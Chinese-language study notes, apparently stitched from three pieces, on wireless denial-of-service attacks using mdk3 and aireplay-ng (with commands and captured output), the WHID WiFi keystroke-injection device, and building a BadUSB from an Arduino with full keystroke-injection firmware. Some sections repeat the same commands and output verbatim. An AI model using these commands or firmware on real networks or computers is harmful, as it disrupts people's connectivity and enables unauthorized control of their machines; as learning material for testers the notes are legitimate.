记录下自己最近一段时间对无线渗透学习的笔记。 无线DOS就是无线拒绝服务攻击。主要包括以下几种攻击类型:Auth Dos攻击、Deauth Flood攻击、Disassociate攻击及RF干扰攻击等。 无线DOS工具:MDK3、Charon(MDK3图形界面)、aireplay-ng 无线客户端状态:IEEE 802.11定义了一种客户端状态机制,用于跟踪工作站身份验证和关联状态。 一、Auth Flood攻击 Auth Flood攻击:即身份验证洪水攻击。该攻击目标主要针对那些处于通过验证、和AP建立关联的关联客户端,攻击者将向AP发送大量伪造的身份验证请求帧(伪造的身份验证服务和状态代码),当收到大量伪造的身份验证请求超过所能承受的能力时,AP将断开其他无线服务连接 攻击步骤: 1 使用airodump-ng wlan0mon 查看当前无线网络状况 2 mdk3 wlan0mon a -a D8:15:0D:2D:CB:58 [-s] 其中: a:表示的是authentication DOS模式 -a:攻击指定的AP,此处输入的是AP的MAC地址 -s:发送数据包速率 当攻击成功后,指定的AP会有很多的不存在的无线站点与之联系。 1 airodump-ng wlan0mon命令窗口 结果如下: CH 9 ][ Elapsed: 3 mins ][ 2017-04-29 16:23 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID D8:15:0D:2D:CB:58 -31 112 163 0 11 54e. WPA2 CCMP PSK 2DCB58 BSSID STATION PWR Rate Lost Frames Probe D8:15:0D:2D:CB:58 F8:F2:BC:C6:51:5D 0 0 - 1 0 1 D8:15:0D:2D:CB:58 F3:40:CE:5E:A1:8A 0 0 - 0 0 1 D8:15:0D:2D:CB:58 BC:1A:0E:BD:3F:D1 0 0 - 0 0 1 D8:15:0D:2D:CB:58 32:5B:DC:7C:DE:9F 0 0 - 1 0 1 D8:15:0D:2D:CB:58 A7:31:EC:CF:2B:5C 0 0 - 0 0 1 D8:15:0D:2D:CB:58 AA:87:1B:45:07:C5 0 0 - 1 0 1 D8:15:0D:2D:CB:58 16:EF:9B:80:A9:63 0 0 - 1 0 1 D8:15:0D:2D:CB:58 AE:C1:8E:C0:B6:26 0 0 - 1 0 1 D8:15:0D:2D:CB:58 84:3C:B5:5D:E1:00 0 0 - 1 0 1 D8:15:0D:2D:CB:58 C9:80:8B:1A:8F:7E 0 0 - 1 0 1 D8:15:0D:2D:CB:58 D9:A3:50:0F:F2:40 0 0 - 0 0 1 D8:15:0D:2D:CB:58 79:C5:24:71:A8:5E 0 0 - 0 0 1 D8:15:0D:2D:CB:58 20:EB:6C:93:84:56 0 0 - 1 0 1 2 mdk3 wlan0mon a -a D8:15:0D:2D:CB:58 命令窗口如下: Device is still responding with 304500 clients connected! AP D8:15:0D:2D:CB:58 seems to be INVULNERABLE! Device is still responding with 305000 clients connected! Connecting Client: F8:3B:97:58:E8:AF to target AP: D8:15:0D:2D:CB:58 AP D8:15:0D:2D:CB:58 seems to be INVULNERABLE! Device is still responding with 305500 clients connected! AP D8:15:0D:2D:CB:58 seems to be INVULNERABLE! Device is still responding with 306000 clients connected! Connecting Client: 5E:08:C2:3A:77:49 to target AP: D8:15:0D:2D:CB:58 AP D8:15:0D:2D:CB:58 seems to be INVULNERABLE! Device is still responding with 306500 clients connected! AP D8:15:0D:2D:CB:58 seems to be INVULNERABLE! Device is still responding with 307000 clients connected! Connecting Client: 8D:BC:1B:E5:24:C7 to target AP: D8:15:0D:2D:CB:58 AP D8:15:0D:2D:CB:58 seems to be INVULNERABLE! Device is still responding with 307500 clients connected! AP D8:15:0D:2D:CB:58 seems to be INVULNERABLE! 3 抓包查看无线流量情况 二、Deauth Flood攻击 Deauth Flood攻击即为取消验证洪水攻击,它旨在通过欺骗从AP到客户端单播地址的取消身份验证帧来将客户端转为未关联/未认证的状态。对于目前的工具来说,这种形式的攻击在打断客户无线服务方面非常有效和快捷。一般来说,在攻击者发送另一个取消身份验证帧之前,客户端会重新关联和认证以再次获取服务。攻击者反复欺骗取消身份验证帧才能使所有客户端持续拒绝服务。 攻击步骤: 1 使用airodump-ng wlan0mon来查看当前无线网络状况 2 mdk3 wlan0mon d -c 1[,6,11] [-w file1 -b file2] 或也可以使用aireplay-ng -0 0来完成deauth 攻击 其中: d:表示的是deauthentication/disassociation攻击模式 -c:针对的是无线网络工作频道,这里选择为1 -w:file白名单模式,w就是白名单的简写,即后跟文件中包含AP的MAC会在攻击中回避 -b:file黑名单模式,b就是黑名单的简写,即后跟预攻击目标AP的MAC列表 攻击成功后,所属信道的AP的客户端会断开连接 1 airodump-ng wlan0mon 命令窗口,结果如下: CH 14 ][ Elapsed: 6 mins ][ 2017-04-29 16:54 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID D8:15:0D:2D:CB:58 -63 683 1186 0 11 54e. WPA2 CCMP PSK 2DCB58 BSSID STATION PWR Rate Lost Frames Probe D8:15:0D:2D:CB:58 FF:FF:FF:FF:FF:FF 0 0 - 0 0 8 D8:15:0D:2D:CB:58 20:82:C0:A9:E2:A6 0 1e- 0 0 147 D8:15:0D:2D:CB:58 5C:E0:C5:1A:17:C9 -52 0 - 1e 0 33 D8:15:0D:2D:CB:58 00:5A:13:2F:04:A0 -42 0e- 1e 0 1644 2 mdk3 wlan0mon d -c 11 Disconnecting between: 00:5A:13:2F:04:A0 and: D8:15:0D:2D:CB:58 Disconnecting between: FF:FF:FF:FF:FF:FF and: E4:F3:F5:00:0C:A0 on channel: 11 Disconnecting between: 00:5A:13:2F:04:A0 and: D8:15:0D:2D:CB:58 on channel: 11 Disconnecting between: 00:5A:13:2F:04:A0 and: D8:15:0D:2D:CB:58 on channel: 11 Disconnecting between: FF:FF:FF:FF:FF:FF and: E4:F3:F5:00:0C:A0 on channel: 11 Disconnecting between: 00:5A:13:2F:04:A0 and: D8:15:0D:2D:CB:58 on channel: 11 Disconnecting between: 00:5A:13:2F:04:A0 and: D8:15:0D:2D:CB:58 on channel: 11 3 抓包查看无线流量情况 三、Association Flood攻击 Association Flood攻击即为关联洪水攻击。在无线路由器或者接入点内置一个列表即为连接状态表,里面可显示出所有与该AP建立连接的无线客户端状态。它试图通过利用大量模仿和伪造的无线客户端关联来填充AP的客户端关联表,从而达到淹没AP的目的。 由于开放身份验证(空身份验证)允许任何客户端通过身份验证后关联。利用这种漏洞的攻击者可以通过创建多个到达已连接或已关联的客户端来模仿很多客户端,从而淹没目标AP的客户端关联表。 攻击步骤: 1 使用airodump-ng wlan0mon 查看当前无线网络状况 2 mdk3 wlan0mon a -a D8:15:0D:2D:CB:58 [-s] 其中: a:表示的是authentication DOS模式 -a:攻击指定的AP,此处输入的是AP的MAC地址 -s:发送数据包速率 当攻击成功后,指定的AP会有很多的不存在的无线站点与之联系。 1 airodump-ng wlan0mon命令窗口 结果如下 CH 9 ][ Elapsed: 3 mins ][ 2017-04-29 16:23 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID D8:15:0D:2D:CB:58 -31 112 163 0 11 54e. WPA2 CCMP PSK 2DCB58 BSSID STATION PWR Rate Lost Frames Probe D8:15:0D:2D:CB:58 F8:F2:BC:C6:51:5D 0 0 - 1 0 1 D8:15:0D:2D:CB:58 F3:40:CE:5E:A1:8A 0 0 - 0 0 1 D8:15:0D:2D:CB:58 BC:1A:0E:BD:3F:D1 0 0 - 0 0 1 D8:15:0D:2D:CB:58 32:5B:DC:7C:DE:9F 0 0 - 1 0 1 D8:15:0D:2D:CB:58 A7:31:EC:CF:2B:5C 0 0 - 0 0 1 D8:15:0D:2D:CB:58 AA:87:1B:45:07:C5 0 0 - 1 0 1 D8:15:0D:2D:CB:58 16:EF:9B:80:A9:63 0 0 - 1 0 1 D8:15:0D:2D:CB:58 AE:C1:8E:C0:B6:26 0 0 - 1 0 1 D8:15:0D:2D:CB:58 84:3C:B5:5D:E1:00 0 0 - 1 0 1 D8:15:0D:2D:CB:58 C9:80:8B:1A:8F:7E 0 0 - 1 0 1 D8:15:0D:2D:CB:58 D9:A3:50:0F:F2:40 0 0 - 0 0 1 D8:15:0D:2D:CB:58 79:C5:24:71:A8:5E 0 0 - 0 0 1 D8:15:0D:2D:CB:58 20:EB:6C:93:84:56 0 0 - 1 0 1 2 mdk3 wlan0mon a -a D8:15:0D:2D:CB:58 命令窗口如下: Device is still responding with 304500 clients connected! AP D8:15:0D:2D:CB:58 seems to be INVULNERABLE! Device is still responding with 305000 clients connected! Connecting Client: F8:3B:97:58:E8:AF to target AP: D8:15:0D:2D:CB:58 AP D8:15:0D:2D:CB:58 seems to be INVULNERABLE! Device is still responding with 305500 clients connected! AP D8:15:0D:2D:CB:58 seems to be INVULNERABLE! Device is still responding with 306000 clients connected! Connecting Client: 5E:08:C2:3A:77:49 to target AP: D8:15:0D:2D:CB:58 AP D8:15:0D:2D:CB:58 seems to be INVULNERABLE! Device is still responding with 306500 clients connected! AP D8:15:0D:2D:CB:58 seems to be INVULNERABLE! Device is still responding with 307000 clients connected! Connecting Client: 8D:BC:1B:E5:24:C7 to target AP: D8:15:0D:2D:CB:58 AP D8:15:0D:2D:CB:58 seems to be INVULNERABLE! Device is still responding with 307500 clients connected! AP D8:15:0D:2D:CB:58 seems to be INVULNERABLE! 3 抓包查看无线流量情况 另外一种攻击模式就是攻击者集合了大量的无线网卡,或者是改装的集合大量无线网卡芯片的捆绑式发射机(类似于常说的“短信群发器”),如果进行大规模连接攻击,对于目前广泛使用的无线接入设备,也是很有效果的。 四、Disassociation Flood攻击 Disassociation Flood攻击即为取消关联洪水攻击,和deauthenticaiton flood攻击表现方式很相似。它通过欺骗从AP到客户端的取消关联帧来强制客户端成为未关联/未认证的状态。一般来说,在攻击者发送另一个取消关联帧之前,客户端会重新关联以再次获取服务。攻击者反复欺骗取消关联帧才能使客户端持续拒绝服务。 Disassociation Broadcast攻击和Disassociation Flood攻击原理基本一致,只是在发送程度及使用工具上有所区别,前者很多时候用于配合进行无线中间人攻击,而后者常用于目标确定的点对点无线DOS,比如破坏或干扰指定机构或部门的无线接入点等。 攻击步骤: 1 使用airodump-ng wlan0mon来查看当前无线网络状况 2 mdk3 wlan0mon d -c 1[,6,11] [-w file1 -b file2] 其中: d:表示的是deauthentication/disassociation攻击模式 -c:针对的是无线网络工作频道,这里选择为1 -w:file白名单模式,w就是白名单的简写,即后跟文件中包含AP的MAC会在攻击中回避 -b:file黑名单模式,b就是黑名单的简写,即后跟预攻击目标AP的MAC列表 攻击成功后,所属信道的AP的客户端会断开连接 1 airodump-ng wlan0mon 命令窗口,结果如下: CH 14 ][ Elapsed: 6 mins ][ 2017-04-29 16:54 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID D8:15:0D:2D:CB:58 -63 683 1186 0 11 54e. WPA2 CCMP PSK 2DCB58 BSSID STATION PWR Rate Lost Frames Probe D8:15:0D:2D:CB:58 FF:FF:FF:FF:FF:FF 0 0 - 0 0 8 D8:15:0D:2D:CB:58 20:82:C0:A9:E2:A6 0 1e- 0 0 147 D8:15:0D:2D:CB:58 5C:E0:C5:1A:17:C9 -52 0 - 1e 0 33 D8:15:0D:2D:CB:58 00:5A:13:2F:04:A0 -42 0e- 1e 0 1644 2 mdk3 wlan0mon d -c 11 Disconnecting between: 00:5A:13:2F:04:A0 and: D8:15:0D:2D:CB:58 Disconnecting between: FF:FF:FF:FF:FF:FF and: E4:F3:F5:00:0C:A0 on channel: 11 Disconnecting between: 00:5A:13:2F:04:A0 and: D8:15:0D:2D:CB:58 on channel: 11 Disconnecting between: 00:5A:13:2F:04:A0 and: D8:15:0D:2D:CB:58 on channel: 11 Disconnecting between: FF:FF:FF:FF:FF:FF and: E4:F3:F5:00:0C:A0 on channel: 11 Disconnecting between: 00:5A:13:2F:04:A0 and: D8:15:0D:2D:CB:58 on channel: 11 Disconnecting between: 00:5A:13:2F:04:A0 and: D8:15:0D:2D:CB:58 on channel: 11 3 抓包查看无线流量情况 五、RF Jamming攻击 RF Jamming攻击即为RF干扰攻击。该攻击是通过发出干扰射频达到破坏正常无线通信的目的。而前面几种攻击主要是基于无线通信过程及协议的。RF为射频,主要包括无线信号发射机及收信机等。 这里因环境限制身旁没有测试设备,所以具体的数据包无法展示,后面有机会再单独展开。
HID Attack是最近几年流行的一类攻击方式。HID是Human Interface Device的缩写,意思是人机接口设备。它是对鼠标、键盘、游戏手柄这一类可以操控电脑设备的统称。 由于电脑对这类设备缺少严格的检测措施,只是简单的识别设备类型,就允许设备对电脑进行各项操作。所以,通过修改篡改设备反馈信息,就可以很轻松的让电脑将其他设备误认为HID设备,从而获取控制权限。尤其是USB和蓝牙这类即插即用接口出现,导致HID Attack成为重要方式。例如,Bad USB就是USB类攻击的典型代表。 近日,研究人员Luca Bongiorni(高级攻防安全专家,主要研究领域包括无线电网络、逆向工程、硬件攻击、物联网和物理安全等)正在利用一种廉价的专用硬件,可以进行远程控制(即通过WiFi或BLE),这就是WHID的诞生原理。 自从HID攻击(即PHUKD、Kautilya、Rubberducky)首次公开露面以来,已经出现了许多令人敬畏的研究和结论,例如Iron HID、鼠标劫持以及最酷的USaBUSe等。 自从我开始研究Teensy系列开发板的设备开始,就一直面临着如何在恰当的时候提供某种有效载荷的问题。刚开始,我通过使用Irongeek的光敏电阻和DIP开关技巧来实现其中的部分载荷。 不过,我很快就意识到,通过无线电频道可以完整的实现全部的载荷。几年前,我正在考虑使用一些廉价的433 MHz TRX模块连接到Teensy Board …可悲的是由于缺乏时间和其他很酷的项目…这个想法被放入了他的待办事项列表中。 什么是WHID Injector(注射器)? 这部分我们将介绍WHID Injector背后的原理及其功能有哪些。 WHID代表基于WiFi的HID注射器,即对HID攻击进行无线化攻击时的一种注入工具。它是一个便宜但是非常可靠的硬件,旨在满足Red-Teamers&Pentesters在HID攻击过程中的相关需求。 WiFi HID注射器的核心主要是Atmega 32u4(通常用于许多Arduino板卡)和ESP-12(提供WiFi功能,通常用于物联网项目中): WHID的软件 当我开始考虑一个远程控制的HID注入器,需要将ESP芯片组添加到Arduino样板中时,我很快就意识到已经存在一些能够满足我需求的硬件:AprBrother的Cactus Micro Rev2(位于EOL L)。 接着,我开始阅读ESP规范,并考虑如何创建一个简单的PoC方案,让我能够通过WiFi AP远程上传恶意的有效载荷。接下来,我开始对手中的EOL Cactus Micro rev2 硬件进行改进(考虑到也与USaBUSe兼容)。 总体来说,我最后实现的简单GUI如下所示(虽然它看起来很糟,但是确实起作用了): 支持第三方软件 1. USaBUSe USaBUSe是在2016年第24届Defcon黑客大会上SensePost的Rogan Dawes发布的一个项目。针对“橡皮鸭”进行改进,更加贴近实战。它不仅仅是一个简单的远程HID注入器,还允许绕过当前空间的环境,并通过WHID的ESP wifi进行侧向通道C&C通信。 项目地址:https://github.com/sensepost/USaBUSe 相关链接: Defcon 24大会视频:https://www.youtube.com/watch?v=HTrQHZtNyBw Defcon 24大会幻灯片https://media.defcon.org/DEFCON 24/DEF CON 24presentations/DEFCON-24-Rogan-Dawes-Dominic-White-Universal-Serial-aBUSe-Remote-Attacks.pdf https://sensepost.com/blog/2016/universal-serial-abuse/ USaBUSe PoC视频:https://www.youtube.com/watch?v=5gMvtUq30fA Cyberkryption教程:https://cyberkryption.wordpress.com/2016/11/27/building-a-usabuse-part-1 2. WiFi Ducky WiFi Ducky是spacehuhn开发的一个项目,它可以添加诸如实时注入、ESP fw OTA更新等酷炫的功能,进一步简化了WHID软件的攻击效果。 项目地址:https://github.com/spacehuhn/wifi_ducky 3. WiDucky WiDucky是一款历史较久且非常实用的工具,它具有使用ESP的WiFi作为C&C通信渠道的功能。它还拥有自己的Android应用程序来进行远程控制。 项目地址:https://github.com/basic4/WiDucky 相关的一些视频教程 这里是一些有关WHID注入器的安装过程和功能实现的教程。 模拟WHID攻击Windows 10 Wifi Ducky WHID设备(WINDOWS) 如何在WINDOWS上安装WHID 如何在OSX上安装WHID注入器软件 可能实现的攻击场景 1.典型场景:远程通过WiFi注入 在受害者机器上部署WHID,并通过访问其WiFi AP SSID进行远程控制。(最后,你还可以设置WHID连接到现有的WiFi网络。) 2.社会工程场景:在启用USB的小工具时部署WHID 其背后的主要思想是测试你的目标组织中的社会工程弱点(例如DLP策略违规),并绕过对受害者PC的物理访问限制。 通常,我会创建一个附有武器化USB小工具的小册子(社会工程攻击方法实力模版链接如下:https://github.com/whid-injector/WHID/tree/master/tools/Social_Engineering_Lures),然后使用一个通用的传输载体(例如USB等离子球、DHL、FedEx等)。 结论 正如你在上述的第三方软件部分看到的一样,WHID具有很大的潜力,不仅可以发挥HID注入器的常用功能,还可以绕过气隙(Air-Gapped)环境。 如果你对这种工具有兴趣,可以去AprBrother预订。 地址:https://blog.aprbrother.com/product/cactus-whid 最后总结一些相关链接: http://www.irongeek.com/i.php?page=security/programmable-hid-usb-keystroke-dongle https://github.com/whid-injector/WHID/tree/master/sketches/cactus_micro_rev2 https://github.com/sensepost Wi-Fi Ducky效果演示 材料 1.CJMCU-Beetle Leonardo USB ATMEGA32U4 2.3.3V电源模块 3.WiFi模块 ESP8266 ESP-12F 下面是网友“g0ttl”的演示 可以直接用duck脚本来写hid代码,不用麻烦的烧录,还可以实时写代码进行发送。 附上图片,焊工太烂哈
一、 前言 2014年美国黑帽大会上研究人员JakobLell和Karsten Nohl展示了badusb的攻击方法后,国内与badusb相关的文章虽然有了一些,但是大部分人把相关文章都阅读后还是会有种“不明觉厉”的感觉,badusb仍有一层朦胧的面纱。经过一段时间的学习和研究后,笔者希望通过自己的一些心得体会可以帮助其他人更清晰地认识badusb,也希望这篇文章能够起到一定的启发。这篇文章主要分为五个部分——知识扫盲部分、badusb固件编写部分、badusb配置界面部分、技术展望部分和总结部分。 二、硬件准备 本文使用的硬件是Arduino Leonardo开发板,但是不难将Leonardo开发板替换为其它Arduino开发板。 三、知识扫盲 1. 虽然USB协议有一定的漏洞,但是不是任何USB设备都能制作badusb的。制作badusb有两个核心,一个是能够为USB设备编写相应的固件,另一个是能够将编写的固件烧录到USB设备中。要编写相应的固件就需要掌握USB设备中微控制器(或者说芯片)的指令规范文档(如果Intel不提供开发文档,那么除了Intel自己没有人能为Intel处理器编写程序);而要将固件烧录到USB设备中,要么使用相应的硬件编程器,要么就需要USB设备本身已经存在的bootloader来辅助进行烧录工作(bootloader是USB设备厂商在生产时就放在USB设备中的,网上某些优盘的优盘量产工具也是从厂商流出的,而不是第三方编写的)。要同时满足两个核心条件还是比较难的,即便是JakobLell和Karsten Nohl公布的badusb利用代码也是针对满足一定条件的优盘,因为流出的优盘量产工具有限(既然有优盘量产工具,可以推测相应的优盘中肯定有bootloader或者类似bootloader的固件存在,那么通过逆向优盘量产工具就可以掌握PC端软件和特定优盘的通信方式,进而实现自己的烧录工具)。 2. Arduino 和 teensy这类开发板之所以容易制作badusb,是因为它们采用的微控制器官方有详细的说明文档。最常用的是atmel公司的微控制器,atmel官网提供了各种开发文档和开发相关的库等。 3. Atmel厂商的微控制器整合了SRAM, FLASH和EEPROM。SRAM就好比电脑的内存,不用关心;FLASH高地址存放的是bootloader,低地址则存放用户烧录的固件,芯片加电时直接执行用户的固件,但是芯片复位时会先执行bootloader(这一点是烧录的关键),再执行用户的固件;EEPROM则主要用来存放数据,用户可以随意修改EEPROM中的数据,固件也可以从EEPROM里读取数据(本文的固件示例和PC端程序都利用了这一特性)。 4. Avr libc是一个开源项目,针对atmel厂商的各种微控制器开发C语言库、编译器、烧录工具等一系列辅助工具,还有针对Windows平台的WinAvr项目。Arduino ide的核心其实也是avr libc。 5. Arduino的开发板有相应的bootloader(在FLASH高地址)可以和avr libc项目中的avrdude.exe软件通信,实现固件的烧写和读取动作。在Arduino开发板复位时,会加载bootloader,这时候就可以利用avrdude.exe和bootloader通信。复位操作可以通过开发板上的复位按钮,或者编程实现软复位操作(如果开发板支持的话)。 6. Intel hex 是一种用于编程器的特殊的文件格式,正是因为这种格式,使得我们可以自由控制数据的存储地址。Intel hex的文件格式解析可以自行网上搜索。 四、知识获取途径 1. USB知识获取 如果只是为了简单了解USB设备为什么可以模拟键盘、鼠标等其它设备,网上有许多博客是关于USB规范详解的,也可以简单地看《USB开发大全》和《USB应用开发实例详解》前面关于USB通用协议部分,如果不是对硬件感兴趣没必要深究。 2. Arduino、Avr libc知识获取 这两样其实都是开源的,所以只要有足够的精力和实力,看源代码深入了解相关知识是没问题的。但是如果只是想体验一下制作badusb,可以只看一下Arduino的官方文档和avrdude.exe的相关文档,看这些文档时也没必要深究每个细节,能一定程度上“照葫芦画瓢”就可以了。 五、Badusb固件编写 这里给的固件示例在执行时会从EEPROM中指定的地址读取数据,根据读取的数据和制定的规则发送相应的按键响应给PC主机。 #include"Keyboard.h" #include"EEPROM.h" intmodifier_key = -1; //modifier_key不为-1说明Win键、Ctrl键或者Shift键按下,这个示例特指Win键 intkeycode; //存放要发送的按键代码 unsignedint delay_time = 0; //固件执行下条指令时延迟的时间 unsignedint address = 0; //从EEPROM读取数据的地址,这里要和EEPROM存放数据的地址一致 charnum_char[10] = {0}; //某个数字的字符串形式,这个数字用于delay()的参数,也就是作为睡眠的时间 int num= 0; intindex = 0; //change this to match your platform: voidsetup() { // make pin 2 an input and turn on the // pullup resistor so it goes high unless // connected to ground: pinMode(2, INPUT_PULLUP); Keyboard.begin(); delay(1000); //等待一段时间,让USB设备和PC主机通信完成初始化工作 while((keycode = EEPROM.read(address++))!= 0){//循环从EEPROM中读取数据直到读到数值0(不是数字0),这个值是在向EEPROM中写入数据时在末尾添加的。 if (keycode == '$') { //如果从EEPROM中读到的数值等于'$'的ASCII码 modifier_key = 131; //将modifier_key的值设为Win键的键值,这个值会和后续的按键组合后发送给PC主机 continue; } /* 将两个'&'字符之间的数字作为后续一个按键发送后睡眠的时间,这里之所以要有这个控制值是因为种种因素都会影响按键按下到某个窗口弹出的时间,如果在窗口未弹出就发送了某个按键,这个按键就失效了,后续的按键组合起来也不完整了。比如在按下Win+R键后,还没等运行对话框弹出,固件就发送了"cmd"按键,那么这次启动cmd肯定就失败了。 */ if (keycode == '&') { while ((keycode = EEPROM.read(address++))!= '&') { num_char[index++] = keycode; } sscanf(num_char, "%d",&num); delay_time = num; //将EEPROM中读取的数据转换为数值后保存到delay_time,控制下次发送按键后睡眠时间 memset(num_char, 0, sizeof(num_char));//清空num_char为下次转换做准备 continue; } if (keycode == ';') { //如果从EEPROM中读取的数值等于';'的ASCII码,将发送一个回车键的按键码 keycode = 176; //176等于回车键的按键码 } Write(keycode); //实际发送按键的动作 }; } // voidloop() { // do nothing: while (true); } voidWrite(int code) { if (modifier_key != -1) { //在这个例子中,modifier_key不等于-1就等于Win键的按键码 Keyboard.press(modifier_key); //按下Win键,不放 Keyboard.press(code); //按下另一个按键,不放 Keyboard.releaseAll(); //同时放开Win键和另一个按键,发送Win+某个按键给PC主机 modifier_key = -1; delay(delay_time); //这个时间要么等于0,要么等于两个'&'字符之间指定的值 } else { Keyboard.write(code); //否则直接按下某个按键并放开 delay(delay_time); //这个时间要么等于0,要么等于两个'&'字符之间指定的值 } delay_time = 0; } 这里针对这个固件给几个例子帮助理解: 1. 从EEPROM中依次读取到’$'、’r'($r)表示badusb会按下Win+R键。 2. 从EEPROM中依次读取到’$'、’r'、’;'($r;)表示badusb会按下Win+R,然后按回车键。 3. 从EEPROM中依次读取到’&’、’5′、’0′、’0′、’&’、’$'、’r'、’;'(&500&$r;)表示badusb会按下Win+R键,然后等待500毫秒(保证运行对话框弹出),再按下回车键。 4. 从EEPROM中依次读取到(&500&$rpowershell&400&;Get-Date;)表示badusb先按下Win+R键,等待500毫秒后输入powershell,按回车键后等待400毫秒,再输入Get-Date,最后按下回车键。 六、Badusb配置界面 所谓的Badusb配置界面,就是avrdude.exe的UI界面精简版,再额外提供了控制Badusb执行的动作的功能(本质就是修改了EEPROM特定地址的数据,因为固件是根据EEPROM中的数据执行动作的)。 图1 PC程序界面 这个程序主要就是avrdude.exe的UI界面,只有executable处和address处是为了自定义Badusb动作设计的。partno的选项和programmer的选项是解析选定的avrdude.conf得到的,所以不选择avrdude.conf的话partno和programmer的下拉框将为空;端口号是通过注册表获取到的。 当点击upload按钮或者dump按钮时,先利用编程方式实现复位操作(后面会解释怎么实现的),在短暂的暂停后使用CreateProcess执行avrdude.exe程序;而如果用户在executable处输入了字符串,PC程序会根据用户输入的字符串和Address处给定的地址生成intel hex格式的文件(还记得前面知识扫盲部分提到的intel hex格式?熟悉了intel hex的格式后,完全可以自己写出生成hex文件的代码,所以这里就不贴出代码了),再调用avrdude.exe把生成的intel hex文件烧录到eeprom。下面给个具体的演示。 图2 烧录固件并指定Badusb执行动作 Executable处输入的字符串指示badusb执行的动作,这里badusb先按下Win+R键,等待500毫秒后输入powershell,按下回车键,等待600毫秒后输入Get-Date然后按下回车键,再输入echoabcdefghijklmnopqrstuvwxyz按下回车键,最后再次输入Get-Date和回车键。至于界面中其它一些零碎的参数笔者怎么知道的后面会说,实在不行完全可以一个一个尝试。 效果演示: 视频没有演示badusb的危害多大(比如从服务器下载木马执行、窃取个人信息等),毕竟这些更多的属于powershell脚本知识、cmd命令之类的,不是这篇文章的目的。 演示视频中主要经历了以下几个阶段: 1. 选择了avrdude.conf文件后partno和programmer下拉框会展示avrdude.exe支持的芯片型号和编程器(编程器本质上是和bootloader通信的协议)。 2. 插上开发板(有提示音)后,port下拉框会展示开发板的串口号。 3. 在executable编辑框中输入badusb需要执行的按键序列”&500&$rcmd”,再选择要烧录到FLASH的固件(只需要烧录一次固件,以后都不需要了),点击upload后两次弹出命令窗口进行烧录(第一次烧录固件,第二次向EEPROM中写入数据),发现开发板重启后弹出了运行对话框并输入了”cmd”。 4. 修改executable编辑框的内容为”&500&$rcmd;”(多了一个分号,也就是多按了一个回车键),再次点击upload(因为没有选择固件,所以不会进行固件的烧录,只会修改EEPROM的数据),发现开发板重启后弹出运行对话框紧接着迅速弹出了命令窗口。 5. 之后又修改了两次executable编辑框的内容并烧录以修改EEPROM的数据,发现一次是只弹出了powershell窗口,一次是弹出了powershell窗口后又执行了三条powershell指令。 七、技术展望 这次的示例只是展示了利用arduino leonardo开发板模拟usb键盘,而windows一旦锁屏,模拟成键盘鼠标之类的badusb就失效了。而有人发现在锁屏状态下插入网卡会让windows操作系统发送dhcp请求给新插入的网卡分配ip,那么是不是可以让usb设备模拟成网卡兼dhcp服务器兼dns服务器,达到在锁屏状态下通过badusb劫持流量、窃取信息的目的?虽然有局限性,但是也说明了一个问题——badusb不只是简单地利用usb协议的漏洞,还可以结合操作系统的一系列特性(缺陷?)在看似不可能的环境下执行,badusb的技术还有很多可以探索的地方。 八、总结 1. 理一下思路,要制作badusb,就要保证能编写出相应的固件并能通过某种手段将固件烧录到usb设备中。要想通过这两点,最方便的就是使用arduino或者teensy这类开发板,否则就需要看有没有官方的集成开发环境,比如Cypress官网就提供了详细的开发文档、示例、开发环境等。 2. arduino开发板主要使用的是atmel厂商的微控制器,编译工具和烧录工具也是来自开源项目avr libc。可以在arduino ide中“文件->首选项->设置”勾上显示编译和上传的详细输出,然后使用ide的上传功能上传一个示例代码,在输出窗口就能看到很多有用的信息。附上一个示例: 图3 arduino ide详细输出信息(a) 3. 看到图4的输出信息,应该可以联想到通过软件复位开发板其实是通过以1200bps速率和开发板进行串口通信,再进一步去看Windows串口通信时发现还需要设置几个其他参数,这时候怎么办呢?只能看arduinoide是怎么设置那些参数的,通过以下几个步骤寻找到arduino ide设置相关参数的源代码(arduino ide的源代码github上有): ①在源代码根目录使用findstr /Sn /c:”Foundupload port”查找含有字符串“Found upload port”的文件,发现路径为arduino-core\src\cc\arduino\packages\uploaders\SerialUploader.java:276:(findstr是Windows提供的在文档中查找字符串的工具) ②查看Serial Uploader代码,发现字符串“Found upload port”在waitForUploadPort方法中,进一步发现调用了waitForUploadPort方法的是uploadUsingPreferences方法,在uploadUsingPreferences方法中发现调用了Serial.touchForCDCReset方法,通过方法名字猜测这个函数和开发板复位有关。 ③再次使用findstr /Sn /c:”touchForCDCReset”找到touchForCDCReset方法的实现是在文件arduino-core\src\processing\app\Serial.java:90:中。 ④在Serial.java中发现有这么一行代码: serialPort.setParams(1200,8, SerialPort.STOPBITS_1, SerialPort.PARITY_NONE); 到这里可以大胆猜测出利用串口通信的方式复位开发板时除了1200这个参数值外其他参数的值了。 图4 arduino ide详细输出信息(b) 4. 通过图5可以看到arduino ide在调用avrdude.exe烧录固件到我的开发板时的一系列参数(-p就是partno,-c就是programmer,-b就是baudrate,可以发现和我前面演示时设定的参数是一样的,因为我的那些参数就是根据这里显示的设置的)。有兴趣的可以看看“Arduino安装路径\hardware\arduino\avr”目录下的boards.txt、platform.txt和programmers.txt,应该会有很多收获。 5. 想利用arduino开发板制作有用的,或者扩展性强的badusb,需要理清以下逻辑: ①arduino开发板使用的主要是atmel厂商的微控制器,而atmel厂商的微控制器集成了SRAM,FlASH和EEPROM,其中arduino开发板中的FLASH高地址存放了某种bootloader,低地址则存放用户上传到开发板的固件;arduino开发板的EERPOM可以根据自己的情况使用。 ②arduino开发板复位时,先启动bootloader,一段时间(通常是几秒)后启动用户的固件。而avrdude.exe烧录过程其实就是在复位时和arduino开发板的bootloader通信,所以只有在bootloader启动阶段利用avrdude.exe才能成功烧录。一定要把握好时间。 ③固件程序可以从eeprom或flash中读取数据,而intelhex格式文件可以控制将数据写入特定存储器的特定地址,利用这一点可以极大的扩展badusb的功能,而且将要执行的指令放在flash或者eeprom中也能在一定程度上起到隐藏效果。 Arduino+Avr libc制作badusb效果展示:
